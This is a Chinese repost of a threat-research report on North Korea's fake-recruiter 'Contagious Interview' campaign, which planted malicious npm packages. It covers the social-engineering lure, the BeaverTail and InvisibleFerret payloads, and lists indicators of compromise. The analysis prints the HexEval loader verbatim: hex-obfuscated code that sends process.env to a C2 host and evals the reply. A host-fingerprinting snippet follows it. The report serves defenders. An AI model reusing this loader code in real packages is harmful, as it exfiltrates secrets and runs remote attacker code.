又一波:朝鲜传染性采访活动释放 35 个新的恶意 npm 软件包

admin 2025年6月26日01:14:29评论0 views字数 9025阅读30分5秒阅读模式
又一波:朝鲜传染性采访活动释放 35 个新的恶意 npm 软件包

Socket 威胁研究团队发现了一场持续不断的朝鲜供应链攻击,该攻击隐藏在域名抢注的 npm 软件包背后。与“传染性访谈”行动相关的威胁行为者在 24 个 npm 账户中发布了 35 个恶意软件包。其中六个仍在注册中心(、 、 、react-plaid-sdksumsub-node-websdkvite-plugin-next-refresh上线,下载量总计超过 4,000 次。我们已请求 npm 安全团队移除剩余的活跃软件包并暂停相关账户。vite-loader-svgnode-orm-mongooserouter-parse

每个恶意软件包都包含一个我们称之为 HexEval 的十六进制编码加载器。安装该软件包时,HexEval 加载器会收集主机元数据,解码后续脚本,并在触发时获取并运行 BeaverTail——一款与朝鲜民主主义人民共和国 (DPRK) 攻击者相关的信息窃取第二阶段恶意软件。BeaverTail 反过来会引用第三阶段后门 InvisibleFerret,使威胁行为者能够对受害者的机器进行分层控制。这种嵌套结构有助于该活动逃避基本的静态扫描和人工审核。一个 npm 别名还附带了一个跨平台键盘记录器软件包,可以捕获每个按键操作,这表明威胁行为者随时准备在目标需要时定制有效载荷以进行更深入的监视。

朝鲜威胁行为者冒充 LinkedIn 上的招聘人员,通过 Google Docs 向开发人员和求职者发送编码“任务”,将这些恶意软件包嵌入项目中,并经常向候选人施压,让他们通过屏幕共享在容器环境之外运行代码。

早期的攻击活动将混淆的 BeaverTail 直接嵌入到软件包中。安全研究人员揭露该策略后,该威胁组织便转向使用 HexEval Loader,它会按需获取 BeaverTail,并在注册表中留下极少的证据。我们首次记录到这一转变是在 2025 年 4 月,当时 npm 帐户crouch626发布了四个恶意模块(cln-logger、、和) node-clog。前两个模块带有 HexEval Loader,而其他模块则隐藏了混淆的 BeaverTail 恶意软件副本。此后,我们又追踪了数十个软件包,并且认为真实数量应该更高,因为 npm 在发布后不久就删除了几个软件包。该攻击活动仍在进行中,我们预计还会有更多恶意软件出现。consolidate-logconsolidate-logger

又一波:朝鲜传染性采访活动释放 35 个新的恶意 npm 软件包

HexEval Loader 活动入侵分析概述的钻石模型,将朝鲜传染性面试威胁行为者 ( Adversary) 与他们的 C2 服务器、npm 帐户和虚假招聘人员资料 ( Infrastructure)、HexEval Loader、BeaverTail、InvisibleFerret 和键盘记录器 ( Capabilities) 以及在 LinkedIn 上联系的目标求职者和开发人员 ( Victim) 联系起来。

HexEval 加载器剖析

威胁行为者遵循一致的命名和域名抢注策略。他们重复使用一些众所周知的模式,例如,、,、,vite-plugin-*以及一些流行的域名抢注项目,例如伪装成并模仿合法的。在熟悉的品牌背后,隐藏着一个紧凑的恶意软件加载器 (HexEval),粗略检查后发现它似乎无害。以下摘录展示了典型的 HexEval 加载器模式:react-**-loggerjson*reactbootstrapsreact-bootstrapreact-plaid-sdkreact-plaid-linkserverlog-dispatch

// Decode a hex-encoded string at run timefunctiong(h{return h.replace(/../gm =>String.fromCharCode(parseInt(m, 16)));}const hl = [  g('72657175697265'), // require  g('6178696f73'), // axios  g('706f7374'), // post  g('687474703a2f2f69702d636865636b2d7365727665722e76657263656c2e6170702f6170692f69702d636865636b2f323038'),// C2 endpoint: // hxxp://ip-check-server[.]vercel[.]app/api/ip-check/208  g('7468656e'// then];// Send environment data to the C2 endpoint, receive a script, then execute itmodule.exports = () =>require(hl[1])[hl[2]](hl[3], { ...process.env })                 [hl[4]](r =>eval(r.data))                 .catch(() => {});

为了逃避静态分析,威胁行为者将模块名称和 C2 URL 编码为十六进制字符串。辅助函数g通过将每个双字符十六进制字节转换回其 ASCII 表示来反转这种混淆。解码后,加载程序向其 C2 服务器发出 HTTPS POST 请求,检索第二阶段有效载荷,并通过调用来执行它eval()。已识别软件包中的操作在三个硬编码的 C2 端点之间交替:hxxps://log-server-lovat[.]vercel[.]app/api/ipcheck/703、hxxps://ip-check-server[.]vercel[.]app/api/ip-check/208和hxxps://ip-check-api[.]vercel[.]app/api/ipcheck/703。在至少一个恶意软件包集群中,受害者捕获并分析了返回的第二阶段有效载荷,证实了其恶意行为。然而,这些端点通常只返回 IP 地理位置数据或undefined,这表明后端根据请求标头、执行环境或其他运行时条件有选择地提供恶意代码。这种条件逻辑使检测变得复杂,并提出了关于如何以及何时eval(r.data)执行其有效载荷的重要问题。

包括在内的几种变体react-plaid-sdk除了加载器功能外,还嵌入了额外的侦察代码,如以下摘录所示:

// Host fingerprintingconst data = {  ...process.env, // Extract environment variables  platform: os.platform(), // Operating system   hostname: os.hostname(), // Machine host name  username: os.userInfo().username, // Current user account  macAddresses: getMacAddress() // MAC address for device fingerprinting};

npm 别名jtgleason还发布了jsonsecs一个软件包,它为 HexEval Loader 添加了跨平台键盘记录器,当威胁行为者需要更深入的监视时,可以在 Windows、macOS 和 Linux 系统上捕获按键。

const os_1 = __importDefault(require("os")); // Node’s OS moduleconst MacKeyServer_1 = require("./ts/MacKeyServer"); // macOS keyloggerconst WinKeyServer_1 = require("./ts/WinKeyServer"); // Windows keyloggerconst X11KeyServer_1 = require("./ts/X11KeyServer"); // Linux/Unix keylogger

该jsonsecs软件包包含已编译的本机二进制文件,并公开了特定于平台的键盘钩子功能。它会根据操作系统,加载以下三个二进制文件之一来钩住低级输入事件:

  • Windows:WinKeyServer(SHA256 e58864cc22cd8ec17ae35dd810455d604aadab7c3f145b6c53b3c261855a4bb1:)

  • macOS:MacKeyServer(SHA256 30043996a56d0f6ad4ddb4186bd09ffc1050dcc352f641ce3907d35174086e15:)

  • Linux:X11KeyServer(SHA256 6e09249262d9a605180dfbd0939379bbf9f37db076980d6ffda98d650f70a16d:)

该系统允许任意处理程序(监听器)接收击键数据,从而使威胁行为者能够进行渗透或实时监视。

受害者概况:求职的开发人员和工程师

该loveryon集群(一个发布了serverlog-dispatchmongo-errorlognext-log-patcher和 的npm 别名vite-plugin-tools)暴露了一个精心策划的社会工程攻击程序,该程序始于 LinkedIn。威胁行为者假扮招聘人员,向软件工程师提供诱人的工作机会。经过短暂的交流后,他们发送了一些编码任务,指示候选人克隆测试存储库并进行细微更改。隐藏在这些项目中的是loveryon集群中的一个恶意依赖项,该依赖项携带 HexEval Loader(或内联eval()代码片段),该加载器在代码运行时触发。

又一波:朝鲜传染性采访活动释放 35 个新的恶意 npm 软件包
又一波:朝鲜传染性采访活动释放 35 个新的恶意 npm 软件包
又一波:朝鲜传染性采访活动释放 35 个新的恶意 npm 软件包

一位 Reddit 用户描述了他发现了四个与朝鲜“传染性采访”行动相关的恶意 npm 软件包。威胁行为者冒充 LinkedIn 上的招聘人员,诱骗用户在本地执行代码,并试图窃取数据。在容器化环境中运行该任务后,该用户捕获了next-log-patcher由这些软件包( 、vite-plugin-tools、mongo-errorlog和)及其关联基础设施传递的第二阶段有效载荷serverlog-dispatch。

第二阶段有效载荷:BeaverTail 恶意软件

loveryon解码后,集群中的 HexEval 加载器从中检索第二阶段有效载荷(BeaverTail 恶意软件)172[.]86[.]80[.]145:1224并使用执行它eval()。我们之前已经深入分析过BeaverTail。简而言之,它既是信息窃取者又是加载器,旨在有针对性地窃取数据和持续访问。执行后,BeaverTail 会扫描本地文件系统,查找大约 200 个配置文件目录中的浏览器工件,包括与 Brave、Chrome 和 Opera 关联的目录。它会搜索 cookie、IndexedDB 文件以及可能包含敏感数据的扩展名(例如.log和.ldb)。BeaverTail 还瞄准加密货币钱包,试图提取 Solana 的文件id.json、Exodus 钱包数据和 macOS 钥匙串数据库。其行为会根据主机操作系统(Windows、macOS 或 Linux)动态调整。

集群中识别的版本loveryon还包含检索第三阶段后门 InvisibleFerret 的逻辑。BeaverTail 使用curlNode.jsrequest模块中的 或 ,下载其他有效载荷(例如 InvisibleFerret),文件名为p.zi或p2.zip,并使用 提取tar -xf。这种多阶段部署与先前观察到的与朝鲜威胁行为者相关的使用相同恶意软件家族的攻击活动相似。

通过社会工程学进行初始访问

入侵始于社会工程学。根据多名受害者的报告,朝鲜威胁行为者在领英(LinkedIn)上创建虚假的招聘人员资料,冒充招聘公司的招聘专业人员。他们瞄准正在积极求职的软件工程师,利用求职者通常对招聘人员的信任。虚假身份通常会通过事先准备好的推广信息和令人信服的职位描述来主动联系。

威胁行为者使用19个不同的电子邮件地址注册了此次活动中发现的35个恶意软件包背后的npm帐户(完整列表请参阅IOC部分)。其中一些地址(例如maria.sam.recruiter@gmail[.]com、toptalent0921@gmail[.]com和business00747@gmail[.]com)似乎是为模仿招聘人员身份而精心设计的。威胁行为者很可能创建或使用了这些电子邮件帐户以及虚假的招聘人员资料,作为其更广泛的社会工程活动的一部分。通过冒充招聘经理或技术招聘人员,威胁行为者利用求职行为来建立信任,并增加目标安装和运行恶意代码的可能性。

初步沟通后,威胁行为者会以招聘流程为幌子,向受害者发送技术评估或编程任务。在一些案例中,恶意代码一旦送达,假冒招聘人员就会删除受害者的领英个人资料或屏蔽受害者,切断联系以掩盖踪迹。Reddit 上的受害者报告一致描述了同样的模式,指出不同的招聘人员角色拥有相似的职位描述和相同的沟通脚本。

又一波:朝鲜传染性采访活动释放 35 个新的恶意 npm 软件包

Reddit 用户报告了一起协同性社会工程攻击,其中一名假招聘人员指示目标用户在本地克隆并运行一个 Bitbucket 托管的项目。攻击完成后,该招聘人员删除了目标用户的账户。

这些任务会引导受害者克隆代码库或安装特定的 npm 包(这两者都会传递恶意的 JavaScript 负载)。在此次活动中,负载是 HexEval Loader,旨在获取主机指纹并检索第二阶段恶意软件。一旦受害者提交完成的任务,威胁行为者通常会升级他们的攻击手段。他们可能会要求与“项目经理”进行实时视频通话,在此期间,他们会向受害者施压,要求其禁用 Docker 或其他容器环境,并在屏幕共享的同时在其计算机上原生运行代码——以此试图绕过容器隔离机制,确保完全感染。

又一波:朝鲜传染性采访活动释放 35 个新的恶意 npm 软件包

一名威胁行为者冒充 LinkedIn 上的招聘人员,向目标施压,要求其绕过容器化环境并直接在主机系统上执行代码。

多名受害者报告了类似的操作。在 Reddit 上,一位开发人员描述称,他被要求“再次克隆应用程序进行更新,并在共享屏幕的情况下,在真机上运行没有 Docker 的应用程序”。这种策略体现了攻击者刻意确保应用程序在易受攻击的环境中执行。

受害者通常会收到丰厚的工作机会,通常提供远程职位,月薪在 16,000 美元到 25,000 美元之间(年薪在 192,000 美元到 300,000 美元之间)。这些职位描述会通过Google 文档或 PDF 文件分享,并被精心设计成与开发人员、设计师、工程师或项目经理等合法职位的招聘信息相似。

又一波:朝鲜传染性采访活动释放 35 个新的恶意 npm 软件包

威胁行为者使用虚假的 Google Doc 职位描述的屏幕截图,以虚假的远程职位吸引区块链开发人员;这是针对软件工程师的更广泛的社会工程活动的一部分。

又一波:朝鲜传染性采访活动释放 35 个新的恶意 npm 软件包

这是 Google Docs 上托管的欺诈性编码作业的屏幕截图,指示区块链开发人员与 Bitbucket 存储库(notion-dex/ultrax)进行交互,作为虚假招聘流程的一部分。

此次攻击似乎是在此前开源情报 (OSINT) 收集的基础上进行的。在一些案例中,这些虚假招聘人员会提及具体的 GitHub 项目、过往经历和个人信息,这表明他们有意将推广活动个性化,以提高可信度。一旦受害者参与其中,恶意 npm 包就会被悄悄引入,要么嵌入到任务代码库中,要么作为隐藏依赖项添加。这会启动主机侦察,并为后续入侵和恶意软件执行奠定基础。

展望与建议

此次恶意攻击活动凸显了朝鲜供应链攻击中不断演变的伎俩,该攻击活动融合了恶意软件预演、开源情报 (OSINT) 驱动的攻击目标和社会工程学,旨在通过可信生态系统入侵开发者。通过将 HexEval 等恶意软件加载器嵌入开源软件包中,并通过虚假的作业任务进行传播,威胁行为者得以绕过外围防御,并在目标开发者的系统上执行攻击。该攻击活动的多阶段结构、极小的注册表占用空间以及试图规避容器化环境的尝试,都表明一个资源充足的对手正在实时改进其入侵方法。

防御者应该预料到,像 npm 这样的公共注册中心可能会持续遭到入侵,尤其是通过域名抢注和延迟的第二阶段交付机制。鉴于这种方法的成功,类似的民族国家和犯罪威胁行为者可能会效仿这些策略。

为了防御类似“传染性访谈”活动等复杂的供应链攻击,开发人员和组织必须采用主动安全工具,在威胁入侵生产系统之前就将其检测出来。当攻击者利用社会工程学手段,将恶意软件隐藏在看似合法的开源软件包中时,传统的静态分析和软件包元数据检查已不再有效。

Socket 提供专门构建的防御机制来应对这些挑战。Socket GitHub App提供实时拉取请求扫描功能,在合并之前向团队发出可疑或恶意依赖项的警报。Socket CLI会在运行时显示危险信号npm install,让开发人员能够立即洞察终端引入的软件包的风险。Socket浏览器扩展程序则增加了一层关键的防御措施,当用户访问或从软件包管理器下载恶意软件包时发出警告。

危害指标 (IOC) 

恶意 npm包

react-plaid-sdksumsub-node-websdkvite-plugin-next-refreshvite-plugin-purifynextjs-insightvite-plugin-svgnnode-loggersreact-logsreactbootstrapsframer-motion-extserverlog-dispatchmongo-errorlognext-log-patchervite-plugin-toolspixel-percenttest-topdev-logger-v1test-topdev-logger-v3server-log-enginelogbin-nodejsvite-loader-svgstruct-loggerflexible-loggersbeautiful-pluginschalk-configjsonpacksjsonspecificjsonsecsutil-buffersblur-pluginsproc-watchnode-orm-mongooseprior-configuse-videoslucide-noderouter-parse

威胁行为者标识符

npm 别名:

liamnevinpablomendesbappdajvinter97eric.c01maryanaaaanpmdev001loveryonsupermmmtopdev0921hansdev0512abdulrahman_nassermarsinc326cristoper52shaunceplamarthamoon014jtgleasongrace107business00747supercrazybugalexander0110819purpledev07mariasamoleksandrrozgon

电子邮件地址

alexander0110819@outlook[.]commaria.sam.recruiter@gmail[.]comtoptalent0921@gmail[.]combusiness00747@gmail[.]comeric.c01.recruit@gmail[.]comhiring.dev.hr@gmail[.]comcarrie.bale.recruit@gmail[.]comemilyjobs.rec2023@gmail[.]commars.recruiting.hiring@gmail[.]comshauncepla.hrteam@gmail[.]comgrace.chen.recruitment@gmail[.]comgrace107jobs@gmail[.]comabdulrahman.nasser.hr@gmail[.]commarthamoon014@gmail[.]comsofia.helman@outlook[.]comsupercrazybug.team@gmail[.]commaryanaaaa.hrteam@gmail[.]comtopdev0921@gmail[.]comnatalie.dev.hr@gmail[.]com

恶意 Bitbucket 存储库

hxxps://bitbucket[.]org/notion-dex/ultraxhxxps://bitbucket[.]org/zoro-workspace/

命令和控制 (C2)端点

hxxps://log-server-lovat[.]vercel[.]app/api/ipcheck/703hxxps://ip-check-server[.]vercel[.]app/api/ip-check/208hxxps://ip-check-api[.]vercel[.]app/api/ipcheck/703172[.]86[.]80[.]145

SHA256 哈希值

e58864cc22cd8ec17ae35dd810455d604aadab7c3f145b6c53b3c261855a4bb1— WinKeyServer30043996a56d0f6ad4ddb4186bd09ffc1050dcc352f641ce3907d35174086e15— MacKeyServer6e09249262d9a605180dfbd0939379bbf9f37db076980d6ffda98d650f70a16d— X11KeyServer

MITRE ATT&CK 技术

T1195.002 — 供应链妥协:妥协软件供应链T1608.001 — 阶段功能:上传恶意软件T1204.002 — 用户执行:恶意文件T1059.007 — 命令和脚本解释器:JavaScriptT1027.013 — 混淆文件或信息:加密/编码文件T1546.016 — 事件触发执行:安装程序包T1005 — 来自本地系统的数据T1082 — 系统信息发现T1083 — 文件和目录发现T1217 — 浏览器信息发现T1555.003 — 来自密码存储的凭证:来自 Web 浏览器的凭证T1555.001 — 来自密码存储的凭证:钥匙串T1056.001 — 输入捕获:键盘记录T1041 — 通过 C2 通道的渗透T1105 — 入口工具转移T1119 — 自动收集T1657 — 金融盗窃

原文始发于微信公众号(Ots安全):又一波:朝鲜传染性采访活动释放 35 个新的恶意 npm 软件包

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月26日01:14:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   又一波:朝鲜传染性采访活动释放 35 个新的恶意 npm 软件包https://cn-sec.com/archives/4201106.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息